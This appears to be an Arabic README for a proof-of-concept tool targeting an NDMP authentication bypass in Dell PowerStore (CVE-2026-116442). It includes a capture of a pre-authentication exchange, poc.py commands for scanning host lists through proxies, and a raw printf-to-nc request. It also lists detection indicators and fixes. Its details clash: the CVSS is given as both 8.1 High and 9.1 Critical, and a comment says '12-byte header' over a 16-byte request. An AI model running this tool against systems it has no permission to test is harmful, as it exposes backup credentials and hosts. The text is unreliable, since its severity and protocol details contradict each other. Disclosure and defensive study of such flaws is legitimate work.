
Dell PowerStore SDNAS — تجاوز إعادة تشغيل مصادقة NDMP يمنح تحكمًا كاملًا في النسخ الاحتياطي والاستعادة. CVSS 3.1: 8.1 High.
تقبل خدمة NDMP (بروتوكول إدارة بيانات الشبكة) في Dell PowerStore على منفذ TCP رقم 10000
طلبات NDMP_CONFIG_GET_SERVER_INFO وNDMP_CONNECT_CLIENT_AUTH، وترد ببيانات
تكوين خادم حساسة قبل إتمام مصافحة المصادقة. يمكن لمهاجم غير مُصادَق عليه استرداد
بيانات اعتماد خادم النسخ الاحتياطي وأسماء المضيفين وتفاصيل نظام التشغيل دون تقديم
بيانات اعتماد صالحة.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-116442 |
| CVSS 3.1 | 9.1 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H |
| CWE | CWE-287 (مصادقة غير سليمة) |
| المتأثر | Dell PowerStore OS <= 3.6.0.0 مع تفعيل NDMP |
| التصحيح | PowerStore OS 4.0.0.1 |
| المصادقة المطلوبة | لا شيء |
| تاريخ الإفصاح | 2026-11-19 |
يرد خادم NDMP في PowerStore على NDMP_CONFIG_GET_SERVER_INFO (نوع الرسالة
0x0100) ببيانات وصفية عن الخادم قبل طلب المصادقة:
# Network capture — unauthenticated GET_SERVER_INFO exchange
Client → Server: NDMP_HEADER(seq=1, type=REQUEST, msg=0x0100, len=0)
Server → Client: NDMP_HEADER(seq=1, type=REPLY, error=0x0000, len=...)
+ NDMP_CONFIG_SERVER_INFO_REPLY {
vendor_name: "Dell EMC", # CWE-287: pre-auth
product_name: "PowerStore",
revision: "3.6.0.0.5.173",
os_type: "Linux",
os_vers: "5.4.0-150-generic",
host_name: "ps-node-01.corp.local"
}
يكشف مسار ما قبل المصادقة نفسه عن بيانات اعتماد النسخ الاحتياطي عندما ينجح
NDMP_CONNECT_CLIENT_AUTH باستجابة تحدٍّ فارغة.
flowchart LR
A([Attacker]) -->|TCP connect :10000| B[PowerStore NDMP]
B -->|NDMP_NOTIFY_CONNECTED| A
A -->|NDMP_CONFIG_GET_SERVER_INFO| B
B -->|vendor host OS version pre-auth| A
A -->|NDMP_CONNECT_CLIENT_AUTH empty| B
B -->|auth bypassed credentials leaked| C([Data Exfiltration])
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style C fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
pip install -r requirements.txt
python poc.py --ip 192.168.1.50
python poc.py --ip-list scope.txt -o ndmp_results.json
python poc.py --ip 10.10.10.5 --port 10000 -v
# NDMP GET_SERVER_INFO request (12-byte header, msg=0x0100)
printf '\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00' \
| nc -q 2 TARGET 10000 | xxd | head -20
| العلامة | الوصف |
|---|---|
--ip | عنوان IP الهدف |
--ip-list FILE | ملف يحتوي على عنوان IP واحد في كل سطر |
--port INT | منفذ NDMP (الافتراضي: 10000) |
--check-only | فحص الاتصال فقط، دون طلب معلومات |
--proxy URL | وكيل SOCKS5 لبروتوكول TCP (socks5://host:port) |
-o / --output FILE | حفظ النتائج بصيغة JSON |
--timeout INT | مهلة الاتصال (الافتراضي: 10) |
--delay FLOAT | التأخير بين المضيفين (الافتراضي: 0.3) |
-v / --verbose | عرض تفصيلي (hex dump) لتبادل NDMP |
| المؤشر | ملاحظات |
|---|---|
| اتصالات TCP بالمنفذ 10000 من عناوين IP ليست خوادم نسخ احتياطي | جدار الحماية / SIEM |
NDMP_CONFIG_GET_SERVER_INFO دون مصادقة ناجحة لاحقة | سجل تدقيق NDMP |
| عناوين IP مصدر غير معتادة في سجل اتصالات NDMP | تنبيه SIEM |
يكشف الإفصاح عن المعلومات قبل المصادقة عن إصدار البرنامج الثابت PowerStore بدقة (مما يساعد في استغلال CVE-2026-116448)، وأسماء المضيفين الداخلية، وإصدار نواة نظام التشغيل. وإذا استُغل مسار تجاوز المصادقة بالكامل، تصبح بيانات اعتماد النسخ الاحتياطي متاحة، مما يمكّن المهاجمين من تنفيذ عمليات نسخ احتياطي/استعادة غير مصرّح بها على جميع أحجام PowerStore.
| الإجراء | التفاصيل |
|---|---|
| الترقية | تطبيق Dell PowerStore OS 4.0.0.1 |
| جدار الحماية | تقييد TCP 10000 على خوادم النسخ الاحتياطي المعروفة فقط |
| تعطيل NDMP | إذا لم يكن مطلوبًا، عطّل NDMP عبر وحدة تحكم إدارة Dell |
إخلاء المسؤولية: نُشر هذا لأغراض البحث الأمني المصرّح به فقط. استخدمه حصريًا على الأنظمة التي تملكها أو لديك إذن كتابي صريح باختبارها.